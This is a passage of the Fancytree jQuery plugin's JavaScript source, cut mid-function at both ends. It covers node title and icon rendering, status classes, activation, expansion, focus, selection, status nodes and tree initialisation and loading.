					}
				}
				if (!isRootNode) {
					// Update element classes according to node state
					// this.nodeRenderStatus(ctx);
					// Finally add the whole structure to the DOM, so the browser can render
					if (firstTime) {
						// #486: successorLi is set, if we re-rendered (i.e. discarded)
						// existing markup, which  we want to insert at the same position.
						// (null is equivalent to append)
						// 		parent.ul.appendChild(node.li);
						parent.ul.insertBefore(node.li, successorLi);
					}
				}
			},
			/** Create HTML inside the node's outer `<span>` (i.e. expander, checkbox,
			 * icon, and title).
			 *
			 * nodeRenderStatus() is implied.
			 * @param {EventData} ctx
			 * @param {string} [title] optinal new title
			 */
			nodeRenderTitle: function (ctx, title) {
				// set node connector images, links and text
				var checkbox,
					className,
					icon,
					nodeTitle,
					role,
					tabindex,
					tooltip,
					iconTooltip,
					node = ctx.node,
					tree = ctx.tree,
					opts = ctx.options,
					aria = opts.aria,
					level = node.getLevel(),
					ares = [];

				if (title !== undefined) {
					node.title = title;
				}
				if (!node.span || tree._enableUpdate === false) {
					// Silently bail out if node was not rendered yet, assuming
					// node.render() will be called as the node becomes visible
					return;
				}
				// Connector (expanded, expandable or simple)
				role =
					aria && node.hasChildren() !== false
						? " role='button'"
						: "";
				if (level < opts.minExpandLevel) {
					if (!node.lazy) {
						node.expanded = true;
					}
					if (level > 1) {
						ares.push(
							"<span " +
								role +
								" class='fancytree-expander fancytree-expander-fixed'></span>"
						);
					}
					// .. else (i.e. for root level) skip expander/connector alltogether
				} else {
					ares.push(
						"<span " + role + " class='fancytree-expander'></span>"
					);
				}
				// Checkbox mode
				checkbox = FT.evalOption("checkbox", node, node, opts, false);

				if (checkbox && !node.isStatusNode()) {
					role = aria ? " role='checkbox'" : "";
					className = "fancytree-checkbox";
					if (
						checkbox === "radio" ||
						(node.parent && node.parent.radiogroup)
					) {
						className += " fancytree-radio";
					}
					ares.push(
						"<span " + role + " class='" + className + "'></span>"
					);
				}
				// Folder or doctype icon
				if (node.data.iconClass !== undefined) {
					// 2015-11-16
					// Handle / warn about backward compatibility
					if (node.icon) {
						$.error(
							"'iconClass' node option is deprecated since v2.14.0: use 'icon' only instead"
						);
					} else {
						node.warn(
							"'iconClass' node option is deprecated since v2.14.0: use 'icon' instead"
						);
						node.icon = node.data.iconClass;
					}
				}
				// If opts.icon is a callback and returns something other than undefined, use that
				// else if node.icon is a boolean or string, use that
				// else if opts.icon is a boolean or string, use that
				// else show standard icon (which may be different for folders or documents)
				icon = FT.evalOption("icon", node, node, opts, true);
				// if( typeof icon !== "boolean" ) {
				// 	// icon is defined, but not true/false: must be a string
				// 	icon = "" + icon;
				// }
				if (icon !== false) {
					role = aria ? " role='presentation'" : "";

					iconTooltip = FT.evalOption(
						"iconTooltip",
						node,
						node,
						opts,
						null
					);
					iconTooltip = iconTooltip
						? " title='" + _escapeTooltip(iconTooltip) + "'"
						: "";

					if (typeof icon === "string") {
						if (TEST_IMG.test(icon)) {
							// node.icon is an image url. Prepend imagePath
							icon =
								icon.charAt(0) === "/"
									? icon
									: (opts.imagePath || "") + icon;
							ares.push(
								"<img src='" +
									icon +
									"' class='fancytree-icon'" +
									iconTooltip +
									" alt='' />"
							);
						} else {
							ares.push(
								"<span " +
									role +
									" class='fancytree-custom-icon " +
									icon +
									"'" +
									iconTooltip +
									"></span>"
							);
						}
					} else if (icon.text) {
						ares.push(
							"<span " +
								role +
								" class='fancytree-custom-icon " +
								(icon.addClass || "") +
								"'" +
								iconTooltip +
								">" +
								FT.escapeHtml(icon.text) +
								"</span>"
						);
					} else if (icon.html) {
						ares.push(
							"<span " +
								role +
								" class='fancytree-custom-icon " +
								(icon.addClass || "") +
								"'" +
								iconTooltip +
								">" +
								icon.html +
								"</span>"
						);
					} else {
						// standard icon: theme css will take care of this
						ares.push(
							"<span " +
								role +
								" class='fancytree-icon'" +
								iconTooltip +
								"></span>"
						);
					}
				}
				// Node title
				nodeTitle = "";
				if (opts.renderTitle) {
					nodeTitle =
						opts.renderTitle.call(
							tree,
							{ type: "renderTitle" },
							ctx
						) || "";
				}
				if (!nodeTitle) {
					tooltip = FT.evalOption("tooltip", node, node, opts, null);
					if (tooltip === true) {
						tooltip = node.title;
					}
					// if( node.tooltip ) {
					// 	tooltip = node.tooltip;
					// } else if ( opts.tooltip ) {
					// 	tooltip = opts.tooltip === true ? node.title : opts.tooltip.call(tree, node);
					// }
					tooltip = tooltip
						? " title='" + _escapeTooltip(tooltip) + "'"
						: "";
					tabindex = opts.titlesTabbable ? " tabindex='0'" : "";

					nodeTitle =
						"<span class='fancytree-title'" +
						tooltip +
						tabindex +
						">" +
						(opts.escapeTitles
							? FT.escapeHtml(node.title)
							: node.title) +
						"</span>";
				}
				ares.push(nodeTitle);
				// Note: this will trigger focusout, if node had the focus
				//$(node.span).html(ares.join("")); // it will cleanup the jQuery data currently associated with SPAN (if any), but it executes more slowly
				node.span.innerHTML = ares.join("");
				// Update CSS classes
				this.nodeRenderStatus(ctx);
				if (opts.enhanceTitle) {
					ctx.$title = $(">span.fancytree-title", node.span);
					nodeTitle =
						opts.enhanceTitle.call(
							tree,
							{ type: "enhanceTitle" },
							ctx
						) || "";
				}
			},
			/** Update element classes according to node state.
			 * @param {EventData} ctx
			 */
			nodeRenderStatus: function (ctx) {
				// Set classes for current status
				var $ariaElem,
					node = ctx.node,
					tree = ctx.tree,
					opts = ctx.options,
					// 	nodeContainer = node[tree.nodeContainerAttrName],
					hasChildren = node.hasChildren(),
					isLastSib = node.isLastSibling(),
					aria = opts.aria,
					cn = opts._classNames,
					cnList = [],
					statusElem = node[tree.statusClassPropName];

				if (!statusElem || tree._enableUpdate === false) {
					// if this function is called for an unrendered node, ignore it (will be updated on nect render anyway)
					return;
				}
				if (aria) {
					$ariaElem = $(node.tr || node.li);
				}
				// Build a list of class names that we will add to the node <span>
				cnList.push(cn.node);
				if (tree.activeNode === node) {
					cnList.push(cn.active);
					// 		$(">span.fancytree-title", statusElem).attr("tabindex", "0");
					// 		tree.$container.removeAttr("tabindex");
					// }else{
					// 		$(">span.fancytree-title", statusElem).removeAttr("tabindex");
					// 		tree.$container.attr("tabindex", "0");
				}
				if (tree.focusNode === node) {
					cnList.push(cn.focused);
				}
				if (node.expanded) {
					cnList.push(cn.expanded);
				}
				if (aria) {
					if (hasChildren === false) {
						$ariaElem.removeAttr("aria-expanded");
					} else {
						$ariaElem.attr("aria-expanded", Boolean(node.expanded));
					}
				}
				if (node.folder) {
					cnList.push(cn.folder);
				}
				if (hasChildren !== false) {
					cnList.push(cn.hasChildren);
				}
				// TODO: required?
				if (isLastSib) {
					cnList.push(cn.lastsib);
				}
				if (node.lazy && node.children == null) {
					cnList.push(cn.lazy);
				}
				if (node.partload) {
					cnList.push(cn.partload);
				}
				if (node.partsel) {
					cnList.push(cn.partsel);
				}
				if (FT.evalOption("unselectable", node, node, opts, false)) {
					cnList.push(cn.unselectable);
				}
				if (node._isLoading) {
					cnList.push(cn.loading);
				}
				if (node._error) {
					cnList.push(cn.error);
				}
				if (node.statusNodeType) {
					cnList.push(cn.statusNodePrefix + node.statusNodeType);
				}
				if (node.selected) {
					cnList.push(cn.selected);
					if (aria) {
						$ariaElem.attr("aria-selected", true);
					}
				} else if (aria) {
					$ariaElem.attr("aria-selected", false);
				}
				if (node.extraClasses) {
					cnList.push(node.extraClasses);
				}
				// IE6 doesn't correctly evaluate multiple class names,
				// so we create combined class names that can be used in the CSS
				if (hasChildren === false) {
					cnList.push(
						cn.combinedExpanderPrefix + "n" + (isLastSib ? "l" : "")
					);
				} else {
					cnList.push(
						cn.combinedExpanderPrefix +
							(node.expanded ? "e" : "c") +
							(node.lazy && node.children == null ? "d" : "") +
							(isLastSib ? "l" : "")
					);
				}
				cnList.push(
					cn.combinedIconPrefix +
						(node.expanded ? "e" : "c") +
						(node.folder ? "f" : "")
				);
				// node.span.className = cnList.join(" ");
				statusElem.className = cnList.join(" ");

				// TODO: we should not set this in the <span> tag also, if we set it here:
				// Maybe most (all) of the classes should be set in LI instead of SPAN?
				if (node.li) {
					// #719: we have to consider that there may be already other classes:
					$(node.li).toggleClass(cn.lastsib, isLastSib);
				}
			},
			/** Activate node.
			 * flag defaults to true.
			 * If flag is true, the node is activated (must be a synchronous operation)
			 * If flag is false, the node is deactivated (must be a synchronous operation)
			 * @param {EventData} ctx
			 * @param {boolean} [flag=true]
			 * @param {object} [opts] additional options. Defaults to {noEvents: false, noFocus: false}
			 * @returns {$.Promise}
			 */
			nodeSetActive: function (ctx, flag, callOpts) {
				// Handle user click / [space] / [enter], according to clickFolderMode.
				callOpts = callOpts || {};
				var subCtx,
					node = ctx.node,
					tree = ctx.tree,
					opts = ctx.options,
					noEvents = callOpts.noEvents === true,
					noFocus = callOpts.noFocus === true,
					scroll = callOpts.scrollIntoView !== false,
					isActive = node === tree.activeNode;

				// flag defaults to true
				flag = flag !== false;
				// node.debug("nodeSetActive", flag);

				if (isActive === flag) {
					// Nothing to do
					return _getResolvedPromise(node);
				}
				// #1042: don't scroll between mousedown/-up when clicking an embedded link
				if (
					scroll &&
					ctx.originalEvent &&
					$(ctx.originalEvent.target).is("a,:checkbox")
				) {
					node.info("Not scrolling while clicking an embedded link.");
					scroll = false;
				}
				if (
					flag &&
					!noEvents &&
					this._triggerNodeEvent(
						"beforeActivate",
						node,
						ctx.originalEvent
					) === false
				) {
					// Callback returned false
					return _getRejectedPromise(node, ["rejected"]);
				}
				if (flag) {
					if (tree.activeNode) {
						_assert(
							tree.activeNode !== node,
							"node was active (inconsistency)"
						);
						subCtx = $.extend({}, ctx, { node: tree.activeNode });
						tree.nodeSetActive(subCtx, false);
						_assert(
							tree.activeNode === null,
							"deactivate was out of sync?"
						);
					}

					if (opts.activeVisible) {
						// If no focus is set (noFocus: true) and there is no focused node, this node is made visible.
						// scroll = noFocus && tree.focusNode == null;
						// #863: scroll by default (unless `scrollIntoView: false` was passed)
						node.makeVisible({ scrollIntoView: scroll });
					}
					tree.activeNode = node;
					tree.nodeRenderStatus(ctx);
					if (!noFocus) {
						tree.nodeSetFocus(ctx);
					}
					if (!noEvents) {
						tree._triggerNodeEvent(
							"activate",
							node,
							ctx.originalEvent
						);
					}
				} else {
					_assert(
						tree.activeNode === node,
						"node was not active (inconsistency)"
					);
					tree.activeNode = null;
					this.nodeRenderStatus(ctx);
					if (!noEvents) {
						ctx.tree._triggerNodeEvent(
							"deactivate",
							node,
							ctx.originalEvent
						);
					}
				}
				return _getResolvedPromise(node);
			},
			/** Expand or collapse node, return Deferred.promise.
			 *
			 * @param {EventData} ctx
			 * @param {boolean} [flag=true]
			 * @param {object} [opts] additional options. Defaults to `{noAnimation: false, noEvents: false}`
			 * @returns {$.Promise} The deferred will be resolved as soon as the (lazy)
			 *     data was retrieved, rendered, and the expand animation finished.
			 */
			nodeSetExpanded: function (ctx, flag, callOpts) {
				callOpts = callOpts || {};
				var _afterLoad,
					dfd,
					i,
					l,
					parents,
					prevAC,
					node = ctx.node,
					tree = ctx.tree,
					opts = ctx.options,
					noAnimation = callOpts.noAnimation === true,
					noEvents = callOpts.noEvents === true;

				// flag defaults to true
				flag = flag !== false;

				// node.debug("nodeSetExpanded(" + flag + ")");

				if ($(node.li).hasClass(opts._classNames.animating)) {
					node.warn(
						"setExpanded(" + flag + ") while animating: ignored."
					);
					return _getRejectedPromise(node, ["recursion"]);
				}

				if ((node.expanded && flag) || (!node.expanded && !flag)) {
					// Nothing to do
					// node.debug("nodeSetExpanded(" + flag + "): nothing to do");
					return _getResolvedPromise(node);
				} else if (flag && !node.lazy && !node.hasChildren()) {
					// Prevent expanding of empty nodes
					// return _getRejectedPromise(node, ["empty"]);
					return _getResolvedPromise(node);
				} else if (!flag && node.getLevel() < opts.minExpandLevel) {
					// Prevent collapsing locked levels
					return _getRejectedPromise(node, ["locked"]);
				} else if (
					!noEvents &&
					this._triggerNodeEvent(
						"beforeExpand",
						node,
						ctx.originalEvent
					) === false
				) {
					// Callback returned false
					return _getRejectedPromise(node, ["rejected"]);
				}
				// If this node inside a collpased node, no animation and scrolling is needed
				if (!noAnimation && !node.isVisible()) {
					noAnimation = callOpts.noAnimation = true;
				}

				dfd = new $.Deferred();

				// Auto-collapse mode: collapse all siblings
				if (flag && !node.expanded && opts.autoCollapse) {
					parents = node.getParentList(false, true);
					prevAC = opts.autoCollapse;
					try {
						opts.autoCollapse = false;
						for (i = 0, l = parents.length; i < l; i++) {
							// TODO: should return promise?
							this._callHook(
								"nodeCollapseSiblings",
								parents[i],
								callOpts
							);
						}
					} finally {
						opts.autoCollapse = prevAC;
					}
				}
				// Trigger expand/collapse after expanding
				dfd.done(function () {
					var lastChild = node.getLastChild();

					if (
						flag &&
						opts.autoScroll &&
						!noAnimation &&
						lastChild &&
						tree._enableUpdate
					) {
						// Scroll down to last child, but keep current node visible
						lastChild
							.scrollIntoView(true, { topNode: node })
							.always(function () {
								if (!noEvents) {
									ctx.tree._triggerNodeEvent(
										flag ? "expand" : "collapse",
										ctx
									);
								}
							});
					} else {
						if (!noEvents) {
							ctx.tree._triggerNodeEvent(
								flag ? "expand" : "collapse",
								ctx
							);
						}
					}
				});
				// vvv Code below is executed after loading finished:
				_afterLoad = function (callback) {
					var cn = opts._classNames,
						isVisible,
						isExpanded,
						effect = opts.toggleEffect;

					node.expanded = flag;
					tree._callHook(
						"treeStructureChanged",
						ctx,
						flag ? "expand" : "collapse"
					);
					// Create required markup, but make sure the top UL is hidden, so we
					// can animate later
					tree._callHook("nodeRender", ctx, false, false, true);

					// Hide children, if node is collapsed
					if (node.ul) {
						isVisible = node.ul.style.display !== "none";
						isExpanded = !!node.expanded;
						if (isVisible === isExpanded) {
							node.warn(
								"nodeSetExpanded: UL.style.display already set"
							);
						} else if (!effect || noAnimation) {
							node.ul.style.display =
								node.expanded || !parent ? "" : "none";
						} else {
							// The UI toggle() effect works with the ext-wide extension,
							// while jQuery.animate() has problems when the title span
							// has position: absolute.
							// Since jQuery UI 1.12, the blind effect requires the parent
							// element to have 'position: relative'.
							// See #716, #717
							$(node.li).addClass(cn.animating); // #717

							if (_isFunction($(node.ul)[effect.effect])) {
								// tree.debug( "use jquery." + effect.effect + " method" );
								$(node.ul)[effect.effect]({
									duration: effect.duration,
									always: function () {
										// node.debug("fancytree-animating end: " + node.li.className);
										$(this).removeClass(cn.animating); // #716
										$(node.li).removeClass(cn.animating); // #717
										callback();
									},
								});
							} else {
								// The UI toggle() effect works with the ext-wide extension,
								// while jQuery.animate() has problems when the title span
								// has positon: absolute.
								// Since jQuery UI 1.12, the blind effect requires the parent
								// element to have 'position: relative'.
								// See #716, #717
								// tree.debug("use specified effect (" + effect.effect + ") with the jqueryui.toggle method");

								// try to stop an animation that might be already in progress
								$(node.ul).stop(true, true); //< does not work after resetLazy has been called for a node whose animation wasn't complete and effect was "blind"

								// dirty fix to remove a defunct animation (effect: "blind") after resetLazy has been called
								$(node.ul)
									.parent()
									.find(".ui-effects-placeholder")
									.remove();

								$(node.ul).toggle(
									effect.effect,
									effect.options,
									effect.duration,
									function () {
										// node.debug("fancytree-animating end: " + node.li.className);
										$(this).removeClass(cn.animating); // #716
										$(node.li).removeClass(cn.animating); // #717
										callback();
									}
								);
							}
							return;
						}
					}
					callback();
				};
				// ^^^ Code above is executed after loading finshed.

				// Load lazy nodes, if any. Then continue with _afterLoad()
				if (flag && node.lazy && node.hasChildren() === undefined) {
					// node.debug("nodeSetExpanded: load start...");
					node.load()
						.done(function () {
							// node.debug("nodeSetExpanded: load done");
							if (dfd.notifyWith) {
								// requires jQuery 1.6+
								dfd.notifyWith(node, ["loaded"]);
							}
							_afterLoad(function () {
								dfd.resolveWith(node);
							});
						})
						.fail(function (errMsg) {
							_afterLoad(function () {
								dfd.rejectWith(node, [
									"load failed (" + errMsg + ")",
								]);
							});
						});
					/*
					var source = tree._triggerNodeEvent("lazyLoad", node, ctx.originalEvent);
					_assert(typeof source !== "boolean", "lazyLoad event must return source in data.result");
					node.debug("nodeSetExpanded: load start...");
					this._callHook("nodeLoadChildren", ctx, source).done(function(){
						node.debug("nodeSetExpanded: load done");
						if(dfd.notifyWith){ // requires jQuery 1.6+
							dfd.notifyWith(node, ["loaded"]);
						}
						_afterLoad.call(tree);
					}).fail(function(errMsg){
						dfd.rejectWith(node, ["load failed (" + errMsg + ")"]);
					});
					*/
				} else {
					_afterLoad(function () {
						dfd.resolveWith(node);
					});
				}
				// node.debug("nodeSetExpanded: returns");
				return dfd.promise();
			},
			/** Focus or blur this node.
			 * @param {EventData} ctx
			 * @param {boolean} [flag=true]
			 */
			nodeSetFocus: function (ctx, flag) {
				// ctx.node.debug("nodeSetFocus(" + flag + ")");
				var ctx2,
					tree = ctx.tree,
					node = ctx.node,
					opts = tree.options,
					// et = ctx.originalEvent && ctx.originalEvent.type,
					isInput = ctx.originalEvent
						? $(ctx.originalEvent.target).is(":input")
						: false;

				flag = flag !== false;

				// (node || tree).debug("nodeSetFocus(" + flag + "), event: " + et + ", isInput: "+ isInput);
				// Blur previous node if any
				if (tree.focusNode) {
					if (tree.focusNode === node && flag) {
						// node.debug("nodeSetFocus(" + flag + "): nothing to do");
						return;
					}
					ctx2 = $.extend({}, ctx, { node: tree.focusNode });
					tree.focusNode = null;
					this._triggerNodeEvent("blur", ctx2);
					this._callHook("nodeRenderStatus", ctx2);
				}
				// Set focus to container and node
				if (flag) {
					if (!this.hasFocus()) {
						node.debug("nodeSetFocus: forcing container focus");
						this._callHook("treeSetFocus", ctx, true, {
							calledByNode: true,
						});
					}
					node.makeVisible({ scrollIntoView: false });
					tree.focusNode = node;
					if (opts.titlesTabbable) {
						if (!isInput) {
							// #621
							$(node.span).find(".fancytree-title").focus();
						}
					}
					if (opts.aria) {
						// Set active descendant to node's span ID (create one, if needed)
						$(tree.$container).attr(
							"aria-activedescendant",
							$(node.tr || node.li)
								.uniqueId()
								.attr("id")
						);
						// "ftal_" + opts.idPrefix + node.key);
					}
					// $(node.span).find(".fancytree-title").focus();
					this._triggerNodeEvent("focus", ctx);

					// determine if we have focus on or inside tree container
					var hasFancytreeFocus =
						document.activeElement === tree.$container.get(0) ||
						$(document.activeElement, tree.$container).length >= 1;

					if (!hasFancytreeFocus) {
						// We cannot set KB focus to a node, so use the tree container
						// #563, #570: IE scrolls on every call to .focus(), if the container
						// is partially outside the viewport. So do it only, when absolutely
						// necessary.
						$(tree.$container).focus();
					}

					// if( opts.autoActivate ){
					// 	tree.nodeSetActive(ctx, true);
					// }
					if (opts.autoScroll) {
						node.scrollIntoView();
					}
					this._callHook("nodeRenderStatus", ctx);
				}
			},
			/** (De)Select node, return new status (sync).
			 *
			 * @param {EventData} ctx
			 * @param {boolean} [flag=true]
			 * @param {object} [opts] additional options. Defaults to {noEvents: false,
			 *     propagateDown: null, propagateUp: null,
			 *     callback: null,
			 *     }
			 * @returns {boolean} previous status
			 */
			nodeSetSelected: function (ctx, flag, callOpts) {
				callOpts = callOpts || {};
				var node = ctx.node,
					tree = ctx.tree,
					opts = ctx.options,
					noEvents = callOpts.noEvents === true,
					parent = node.parent;

				// flag defaults to true
				flag = flag !== false;

				// node.debug("nodeSetSelected(" + flag + ")", ctx);

				// Cannot (de)select unselectable nodes directly (only by propagation or
				// by setting the `.selected` property)
				if (FT.evalOption("unselectable", node, node, opts, false)) {
					return;
				}

				// Remember the user's intent, in case down -> up propagation prevents
				// applying it to node.selected
				node._lastSelectIntent = flag; // Confusing use of '!'

				// Nothing to do?
				if (!!node.selected === flag) {
					if (opts.selectMode === 3 && node.partsel && !flag) {
						// If propagation prevented selecting this node last time, we still
						// want to allow to apply setSelected(false) now
					} else {
						return flag;
					}
				}

				if (
					!noEvents &&
					this._triggerNodeEvent(
						"beforeSelect",
						node,
						ctx.originalEvent
					) === false
				) {
					return !!node.selected;
				}
				if (flag && opts.selectMode === 1) {
					// single selection mode (we don't uncheck all tree nodes, for performance reasons)
					if (tree.lastSelectedNode) {
						tree.lastSelectedNode.setSelected(false);
					}
					node.selected = flag;
				} else if (
					opts.selectMode === 3 &&
					parent &&
					!parent.radiogroup &&
					!node.radiogroup
				) {
					// multi-hierarchical selection mode
					node.selected = flag;
					node.fixSelection3AfterClick(callOpts);
				} else if (parent && parent.radiogroup) {
					node.visitSiblings(function (n) {
						n._changeSelectStatusAttrs(flag && n === node);
					}, true);
				} else {
					// default: selectMode: 2, multi selection mode
					node.selected = flag;
				}
				this.nodeRenderStatus(ctx);
				tree.lastSelectedNode = flag ? node : null;
				if (!noEvents) {
					tree._triggerNodeEvent("select", ctx);
				}
			},
			/** Show node status (ok, loading, error, nodata) using styles and a dummy child node.
			 *
			 * @param {EventData} ctx
			 * @param status
			 * @param message
			 * @param details
			 * @since 2.3
			 */
			nodeSetStatus: function (ctx, status, message, details) {
				var node = ctx.node,
					tree = ctx.tree;

				function _clearStatusNode() {
					// Remove dedicated dummy node, if any
					var firstChild = node.children ? node.children[0] : null;
					if (firstChild && firstChild.isStatusNode()) {
						try {
							// I've seen exceptions here with loadKeyPath...
							if (node.ul) {
								node.ul.removeChild(firstChild.li);
								firstChild.li = null; // avoid leaks (DT issue 215)
							}
						} catch (e) {}
						if (node.children.length === 1) {
							node.children = [];
						} else {
							node.children.shift();
						}
						tree._callHook(
							"treeStructureChanged",
							ctx,
							"clearStatusNode"
						);
					}
				}
				function _setStatusNode(data, type) {
					// Create/modify the dedicated dummy node for 'loading...' or
					// 'error!' status. (only called for direct child of the invisible
					// system root)
					var firstChild = node.children ? node.children[0] : null;
					if (firstChild && firstChild.isStatusNode()) {
						$.extend(firstChild, data);
						firstChild.statusNodeType = type;
						tree._callHook("nodeRenderTitle", firstChild);
					} else {
						node._setChildren([data]);
						tree._callHook(
							"treeStructureChanged",
							ctx,
							"setStatusNode"
						);
						node.children[0].statusNodeType = type;
						tree.render();
					}
					return node.children[0];
				}

				switch (status) {
					case "ok":
						_clearStatusNode();
						node._isLoading = false;
						node._error = null;
						node.renderStatus();
						break;
					case "loading":
						if (!node.parent) {
							_setStatusNode(
								{
									title:
										tree.options.strings.loading +
										(message ? " (" + message + ")" : ""),
									// icon: true,  // needed for 'loding' icon
									checkbox: false,
									tooltip: details,
								},
								status
							);
						}
						node._isLoading = true;
						node._error = null;
						node.renderStatus();
						break;
					case "error":
						_setStatusNode(
							{
								title:
									tree.options.strings.loadError +
									(message ? " (" + message + ")" : ""),
								// icon: false,
								checkbox: false,
								tooltip: details,
							},
							status
						);
						node._isLoading = false;
						node._error = { message: message, details: details };
						node.renderStatus();
						break;
					case "nodata":
						_setStatusNode(
							{
								title: message || tree.options.strings.noData,
								// icon: false,
								checkbox: false,
								tooltip: details,
							},
							status
						);
						node._isLoading = false;
						node._error = null;
						node.renderStatus();
						break;
					default:
						$.error("invalid node status " + status);
				}
			},
			/**
			 *
			 * @param {EventData} ctx
			 */
			nodeToggleExpanded: function (ctx) {
				return this.nodeSetExpanded(ctx, !ctx.node.expanded);
			},
			/**
			 * @param {EventData} ctx
			 */
			nodeToggleSelected: function (ctx) {
				var node = ctx.node,
					flag = !node.selected;

				// In selectMode: 3 this node may be unselected+partsel, even if
				// setSelected(true) was called before, due to `unselectable` children.
				// In this case, we now toggle as `setSelected(false)`
				if (
					node.partsel &&
					!node.selected &&
					node._lastSelectIntent === true
				) {
					flag = false;
					node.selected = true; // so it is not considered 'nothing to do'
				}
				node._lastSelectIntent = flag;
				return this.nodeSetSelected(ctx, flag);
			},
			/** Remove all nodes.
			 * @param {EventData} ctx
			 */
			treeClear: function (ctx) {
				var tree = ctx.tree;
				tree.activeNode = null;
				tree.focusNode = null;
				tree.$div.find(">ul.fancytree-container").empty();
				// TODO: call destructors and remove reference loops
				tree.rootNode.children = null;
				tree._callHook("treeStructureChanged", ctx, "clear");
			},
			/** Widget was created (called only once, even it re-initialized).
			 * @param {EventData} ctx
			 */
			treeCreate: function (ctx) {},
			/** Widget was destroyed.
			 * @param {EventData} ctx
			 */
			treeDestroy: function (ctx) {
				this.$div.find(">ul.fancytree-container").remove();
				if (this.$source) {
					this.$source.removeClass("fancytree-helper-hidden");
				}
			},
			/** Widget was (re-)initialized.
			 * @param {EventData} ctx
			 */
			treeInit: function (ctx) {
				var tree = ctx.tree,
					opts = tree.options;

				//this.debug("Fancytree.treeInit()");
				// Add container to the TAB chain
				// See http://www.w3.org/TR/wai-aria-practices/#focus_activedescendant
				// #577: Allow to set tabindex to "0", "-1" and ""
				tree.$container.attr("tabindex", opts.tabindex);

				// Copy some attributes to tree.data
				$.each(TREE_ATTRS, function (i, attr) {
					if (opts[attr] !== undefined) {
						tree.info("Move option " + attr + " to tree");
						tree[attr] = opts[attr];
						delete opts[attr];
					}
				});

				if (opts.checkboxAutoHide) {
					tree.$container.addClass("fancytree-checkbox-auto-hide");
				}
				if (opts.rtl) {
					tree.$container
						.attr("DIR", "RTL")
						.addClass("fancytree-rtl");
				} else {
					tree.$container
						.removeAttr("DIR")
						.removeClass("fancytree-rtl");
				}
				if (opts.aria) {
					tree.$container.attr("role", "tree");
					if (opts.selectMode !== 1) {
						tree.$container.attr("aria-multiselectable", true);
					}
				}
				this.treeLoad(ctx);
			},
			/** Parse Fancytree from source, as configured in the options.
			 * @param {EventData} ctx
			 * @param {object} [source] optional new source (use last data otherwise)
			 */
			treeLoad: function (ctx, source) {
				var metaData,
					type,
					$ul,
					tree = ctx.tree,
					$container = ctx.widget.element,
					dfd,
					// calling context for root node
					rootCtx = $.extend({}, ctx, { node: this.rootNode });

				if (tree.rootNode.children) {
					this.treeClear(ctx);
				}
				source = source || this.options.source;

				if (!source) {
					type = $container.data("type") || "html";
					switch (type) {
						case "html":
							// There should be an embedded `<ul>` with initial nodes,
							// but another `<ul class='fancytree-container'>` is appended
							// to the tree's <div> on startup anyway.
							$ul = $container
								.find(">ul")
								.not(".fancytree-container")
								.first();

							if ($ul.length) {
								$ul.addClass(
									"ui-fancytree-source fancytree-helper-hidden"
								);
								source = $.ui.fancytree.parseHtml($ul);
								// allow to init tree.data.foo from <ul data-foo=''>
								this.data = $.extend(
									this.data,
									_getElementDataAsDict($ul)
								);
							} else {
								FT.warn(
									"No `source` option was passed and container does not contain `<ul>`: assuming `source: []`."
								);
								source = [];
							}
							break;
						case "json":
							source = $.parseJSON($container.text());
							// $container already contains the <ul>, but we remove the plain (json) text
							// $container.empty();
							$container
								.contents()
								.filter(function () {
									return this.nodeType === 3;
								})
								.remove();
							if ($.isPlainObject(source)) {
								// We got {foo: 'abc', children: [...]}
								_assert(
									_isArray(source.children),
									"if an object is passed as source, it must contain a 'children' array (all other properties are added to 'tree.data')"
								);
								metaData = source;
								source = source.children;
								delete metaData.children;
								// Copy some attributes to tree.data
								$.each(TREE_ATTRS, function (i, attr) {
									if (metaData[attr] !== undefined) {
										tree[attr] = metaData[attr];
										delete metaData[attr];
									}
								});
								// Copy extra properties to tree.data.foo
								$.extend(tree.data, metaData);
							}
							break;
						default:
							$.error("Invalid data-type: " + type);
					}
				} else if (typeof source === "string") {
					// TODO: source is an element ID
					$.error("Not implemented");
				}

				// preInit is fired when the widget markup is created, but nodes
				// not yet loaded
				tree._triggerTreeEvent("preInit", null);

				// Trigger fancytreeinit after nodes have been loaded
				dfd = this.nodeLoadChildren(rootCtx, source)
					.done(function () {
						tree._callHook(
							"treeStructureChanged",
							ctx,
							"loadChildren"
						);
						tree.render();
						if (ctx.options.selectMode === 3) {
							tree.rootNode.fixSelection3FromEndNodes();
						}
						if (tree.activeNode && tree.options.activeVisible) {
							tree.activeNode.makeVisible();
						}
						tree._triggerTreeEvent("init", null, { status: true });
					})
					.fail(function () {
						tree.render();
						tree._triggerTreeEvent("init", null, { status: false });
					});
				return dfd;
			},
			/** Node was inserted into or removed from the tree.
			 * @param {EventData} ctx
			 * @param {boolean} add
			 * @param {FancytreeNode} node
			 */
			treeRegisterNode: function (ctx, add, node) {
				ctx.tree._callHook(
					"treeStructureChanged",
					ctx,
					add ? "addNode" : "removeNode"
				);
			},
			/** Widget got focus.
			 * @param {EventData} ctx
			 * @param {boolean} [flag=true]
			 */
			treeSetFocus: function (ctx, flag, callOpts) {
				var targetNode;

				flag = flag !== false;

				// this.debug("treeSetFocus(" + flag + "), callOpts: ", callOpts, this.hasFocus());
				// this.debug("    focusNode: " + this.focusNode);
				// this.debug("    activeNode: " + this.activeNode);
				if (flag !== this.hasFocus()) {
					this._hasFocus = flag;
					if (!flag && this.focusNode) {
						// Node also looses focus if widget blurs
						this.focusNode.setFocus(false);
					} else if (flag && (!callOpts || !callOpts.calledByNode)) {
						$(this.$container).focus();
					}
					this.$container.toggleClass("fancytree-treefocus", flag);
					this._triggerTreeEvent(flag ? "focusTree" : "blurTree");
					if (flag && !this.activeNode) {
						// #712: Use last mousedowned node ('click' event fires after focusin)
						targetNode =
							this._lastMousedownNode || this.getFirstChild();
						if (targetNode) {
							targetNode.setFocus();
						}
					}
				}
			},
			/** Widget option was set using `$().fancytree("option", "KEY", VALUE)`.
			 *
			 * Note: `key` may reference a nested option, e.g. 'dnd5.scroll'.
			 * In this case `value`contains the complete, modified `dnd5` option hash.
			 * We can check for changed values like
			 *     if( value.scroll !== tree.options.dnd5.scroll ) {...}
			 *
			 * @param {EventData} ctx
			 * @param {string} key option name
			 * @param {any} value option value
			 */
			treeSetOption: function (ctx, key, value) {
				var tree = ctx.tree,
					callDefault = true,
					callCreate = false,
					callRender = false;

				switch (key) {
					case "aria":
					case "checkbox":
					case "icon":
					case "minExpandLevel":
					case "tabindex":
						// tree._callHook("treeCreate", tree);
						callCreate = true;
						callRender = true;
						break;
					case "checkboxAutoHide":
						tree.$container.toggleClass(
							"fancytree-checkbox-auto-hide",
							!!value
						);
						break;
					case "escapeTitles":
					case "tooltip":
						callRender = true;
						break;
					case "rtl":
						if (value === false) {
							tree.$container
